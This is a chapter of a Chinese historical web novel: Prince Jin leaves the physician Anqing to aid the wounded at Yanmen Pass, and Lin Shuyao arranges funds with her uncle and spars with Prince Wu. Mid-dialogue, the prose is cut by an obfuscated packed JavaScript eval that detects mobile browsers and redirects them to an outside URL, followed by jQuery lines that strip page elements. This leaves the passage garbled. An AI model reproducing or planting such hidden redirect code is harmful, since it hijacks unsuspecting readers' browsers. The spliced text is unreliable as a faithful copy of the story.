前世这一年,周砚未被封亲王,也未能在朝中任职,关于雁门关这一战,他只是零星从太子口中得知。
时隔十多年,他只依稀记得这一年突厥和雁门守将有一战。
所以至雁门郡后,他一直在训练雁门兵将的综合作战能力和边境百姓的协同抵御能力。
原以为,如此就能将战损降至最低,却不知突厥竟然会在他离开雁门郡时突袭。
眼看与安清的十日之约之余一日,周砚心口出顿时生出一股深深的无力感。
一声声不甘在无声叫嚣着,拉扯着。
四嫂是他心中最重要的恩人,可,雁门一战,兵将和边民联合之下堪堪惨胜而已。
此时数以万计的伤员和边关百姓正等着急救,他不可能置他们于不顾。
在脑海中经历一番天人交战后,周砚不得不向安清辞行。
安清听完缘由,问:“你不想救她了?”
听到“不救她”三个字,周砚的心口似被密密麻麻的针尖扎着。
虽看不到伤口,透彻心骨的疼痛却让他无法马上回话。
他双膝重重落在地上,朝安清深深一拜后,才哽咽出声:“非某失约,实因边境罹难,某不得不做出抉择,还望神医通融!”
安清这些日子和周砚相处下来,逐渐对周砚的脾性喜欢起来。
堂堂亲王,愿意放下身段接受自己的刁难,还能时刻心系边关百姓,实属难得。
他笑回:“今日这一拜,老朽受得起,只是老朽也非冷血无情之人,边境告急,自然能通融一二。”
周砚顿时喜出望外,猛然直起身,激动地看着安清:“前辈同意医治四嫂了吗?”
安清点点头:“我愿意给她诊脉,至于能否医治,我不打包票。”
“您只要愿意给四嫂诊脉即可,某现下就去准备。”
安清又交待:“我不想让除你和她之外的人知晓此事。”
“某知道轻重,请前辈放心。”
周砚说着,再次向安清深深一拜,然后迅速起身安排。
安清年事已高,不能骑马奔波,于是留下庄玄用马车一路护送他去洛阳。
而周砚在得到安清的承诺后,想着或许能救下四嫂,激动兴奋之下,早已忘了疲累,不眠不休一路朝着洛阳疾驰。
以往,林书瑶不会在意:六月下了几场雨;屋外的蝉每日从何时开始鸣叫;桌上花瓶的花被换了几次。
如今知自己时日无多后,因珍惜光阴,她开始用心留意这些。
这日,长颈白瓷瓶又换上了新的荷花。
许是到了夏季至热时刻,花蕊中散发出的香味也比之前更加浓郁。
岁禾为了找书的事,已经开始变得焦躁。
但她不敢表现出来,便只能时常催促汀兰苑的婢女更换花束。
眼看竹雨又捧着一束刚采摘的荷花进来,林书瑶轻叹:“这花刚绽放,正是好看,不用换。”
岁禾:“每个时段的花都是不一样的,奴婢想让您看到最新鲜的。”
林书瑶无奈一笑:“无需这般折腾,让我去荷塘边坐一日即可。”
“不可,夏日酷暑,若伤了身体如何是好?”
林书瑶刚要反驳自己没那般娇气,秋月来报:沈大郎君正在门外等候。
林书瑶的外祖父收到信后,以为她遭遇了重大风波,立即让长子北上,并打算从沈氏名下产业中支取银钱助她度过难关。
看到一脸风尘仆仆,眼中饱含关切的大舅父,林书瑶心底酸涩难耐。
她忙迎上去行礼:“是瑶瑶不孝,让外祖父和您为我操心。”
沈绩伸手扶起林书瑶:“都是一家人,何须如此见外?
你让我们找的买家已经找好,若商铺售空后还不够,沈氏能提五万两白银助你。”
“沈氏出五万两?”林书瑶原未打算沈氏参与捐款,如今突然觉得让沈氏以这种方式扬名,也许是件好事。
沈绩见她发怔,忙解释:“收到信后实在仓促,所以暂时只能支取出这些,若不够,我让长安那边再凑一些送来洛阳。”
知舅父会错意,林书瑶忙笑回:“够了,原本我也只是想尽快处理嫁妆,如今有沈氏相助,再好不过了。”
沈绩这才松了口气:“那便好,你把想出售的商铺列出来,我即刻去谈价,至于沈氏的五万两,最快也得三日后,如此,是否来得及?”
“来得及,您做事我自是放心的”林书瑶回。
顿了一下,她问:“您不打算问我为何如此急用银钱?”
沈绩抿了一口茶后,笑回:“你如今是吴王妃,做事自有你的理由,沈氏于朝堂上帮不了你,但作为你的娘家人,银钱自是责无旁贷。”
林书瑶听此一言,眼泪竟忍不住落了下来。
周谞当初向圣上求旨时,想的肯定也是她背后的沈氏。
世人皆嫌商贾低下,唯有周谞为了大计,忍辱负重求娶自己。
甚至为了不让圣上猜忌他的真实用意,向世人编出“一见倾心后一往而深”的谎言。
可她如何向舅父告知吴王的一切真情都是假的呢?又如何告知他们,她即将去世?
沈绩知外甥女生性乐观豁达,也从未见过她如今日这般突然落泪。
她难道是遭遇了不得的大事了?
思忖间,他手忙脚乱地翻出手帕递给林书瑶:“我是粗人,若说错话让瑶瑶伤心,你说出来,我一定改。”
见他一脸担忧,林书瑶压下酸涩,接过手帕拭去眼泪后,笑回:“我只是见到舅父开心而已,用钱的理由此时不便告知,再过几日您就能知道。”
“无妨,你想做什么就去做,需要沈氏相助的地方只管开口。”
林书瑶知时间紧迫,所以也未和沈绩客套,开始和盘托出自己接下来的打算。
花了两个时辰的时间,舅甥二人才将商铺销售策略全部敲定。
黄昏时分,周谞从工部回来,听闻沈绩登门,犹豫了一下还是来了汀兰苑。
沈绩这等商贾,若非林书瑶成了王妃,他是没机会见吴王的。
如今不但见了,吴王还待他非常有礼,这让他对外甥女的担忧减轻了些许。
方才林书瑶再三交待过,不能让吴王知道二人的计划。
所以沈绩忙向周谞行大礼:“瑶瑶自幼得家母喜爱,故某不请自来只为全一份孝心,还请王爷体谅。”
周谞能求娶林书瑶,自然也有那份气度。
他忙伸手扶起沈绩,一脸欣慰地回:“沈郎君能来,书瑶定然高兴,最近工部公务繁忙,怪我忘了写信邀请您前来,该我言谢才是。”
林书瑶在一旁冷眼看周谞表演那副深情。
若是以前,她会上前配合一番,此刻却觉得反胃至极。
忍无可忍之下,她出声打断:“舅父舟车劳顿还未及安顿,王爷让他安置好后再叙吧。”
周谞察觉出林书瑶的不悦,但只是笑着又和沈绩客套了一番。
沈绩走后,他却没有急着离开。
而是径自找了靠窗的位置坐好,然后看着林书瑶:“修缮太学的差事,父皇已交给我。”
林书瑶端着茶盏,漫不经心地回:“妾身恭喜王爷。”
“只是,此事并没有那么乐观。”
林书瑶已猜到为何不乐观,但只是安静地等着他后面的话。
周谞接过岁禾递来的茶盏,接着开口:“今晨父皇收到雁门关急报,雁门关虽然大捷,但需要朝廷支援。”
“将士和边民损伤惨重?”林书瑶问。
周谞点点头:“修缮太学之事,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673930|173165||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可能不得不延后。”
“战报何时会公诸于众?”林书瑶又问。
“最迟明日朝会,父皇就会向朝中征求支援方案。”
林书瑶听了,点点头:“妾身已知,想必王爷早已疲累,就先回去休息吧。”
周谞费了好大力气才从五皇子手中抢到此差事,如今眼看要被雁门关战事耽误,只觉心力交瘁。
他主动和林书瑶谈起这事,原是想让她说几句安抚之言,
谁知她反应如此平淡,心底顿生一股无名怒火:“你难道一点都不想关心我的事吗?”
林书瑶见方才一副温和可亲与舅父交谈的周谞突然黑了脸,一脸诧异:“妾身一妇道人家,怎敢置喙朝中政务?”
“你!”周谞猛然起身用手指着林书瑶,却不知该继续说些什么。
当初不要她插手自己的事的人是他,不要她谈政务的人也是他。
此刻,他有一种搬起石头砸自己脚的无力感。
林书瑶慢条斯理地起身,伸手轻轻压下他的手后,笑回:“王爷莫要气恼,气恼伤身,即便此刻您责罚妾身,妾身也爱莫能助。”
“那,那你也不该摆出如此置身事外的摸样!”周谞将心中所想吼了出来。
若在以前,林书瑶会因周谞终于卸去伪装而顿感欣慰。
可此时的她,早已不再稀罕。
她轻叹,注视着他的眼睛回:“即便朝廷支援雁门,你修缮太学的差事也不会即刻交给他人,你又何须如此着急?”
周谞轻嗤一声:“你说得倒轻巧,皇后和五弟正找机会将差事抢回去。
若工程一直未启动,再过几月,朝中那些人就得催促我就藩,届时,我不但要交出差事,还得南下。”
林书瑶平静的看着他:“南下,于你就那么可怕吗?”
看出林书瑶眼中的嘲讽之意,周谞气急败坏地回:“我自幼饱读圣贤之书,为的是实现理想和抱负,如何能偏安一隅庸庸度日?”
出嫁前,父亲向林书瑶大致讲解过朝中局势。
当今圣上正值壮年,太子生母是当今圣上的挚爱——已逝的圣纯皇后,太子自出生就集圣宠于一身。
她实在想不出周谞是哪里来的自信,认为自己能打败太子。
难道是德妃身后的清河崔氏?还是崔氏背后那些树大根深的大雍世家?
“王爷,朝廷急需用钱,太原王氏即便想为五皇子抢差事,也不会急在这节骨眼。
你再等几日,待朝中制定出援边方案,我自会想到助你之策。”
说这话时的林书瑶在周谞眼中是陌生且新奇的。
青瓷灯下的她一派云淡风轻,她身上已看不出南方女子的温婉柔弱,取而代之的是一名谋士的运筹帷幄。
这样的她,这样的言语,让他焦躁不安的心,瞬间平静下来。
“你有何打算?”他问。
林书瑶:“时机未成熟,不便告知。”
“是何时机?”
“晋王周砚”林书瑶答。
圣上刚收到战报,朝中哪怕能仓促间以最快的时间讨论出支援方案,此方案也必须有人去执行。
雁门关的兵民没时间继续等朝廷慢慢商讨合适人选,故晋王在圣上眼中定然是最佳人选。
历朝历代贪污挪用朝廷赈灾银钱的官员数不胜数,所以晋王未至,她不放心将银钱提前捐出。
周谞已平复心境,于是笑回:“那便静候佳音,望你不会让我失望。”
见他恢复这副温文尔雅的笑容,林书瑶再也不想与他多言。
她朝门口喊了一声:“岁禾,恭送王爷!”
然后转身走去隔间洗漱。
周谞见状,刚平复的气性再次冒起,但想到此刻有求于她,只得奋力甩甩衣袖扬长而去。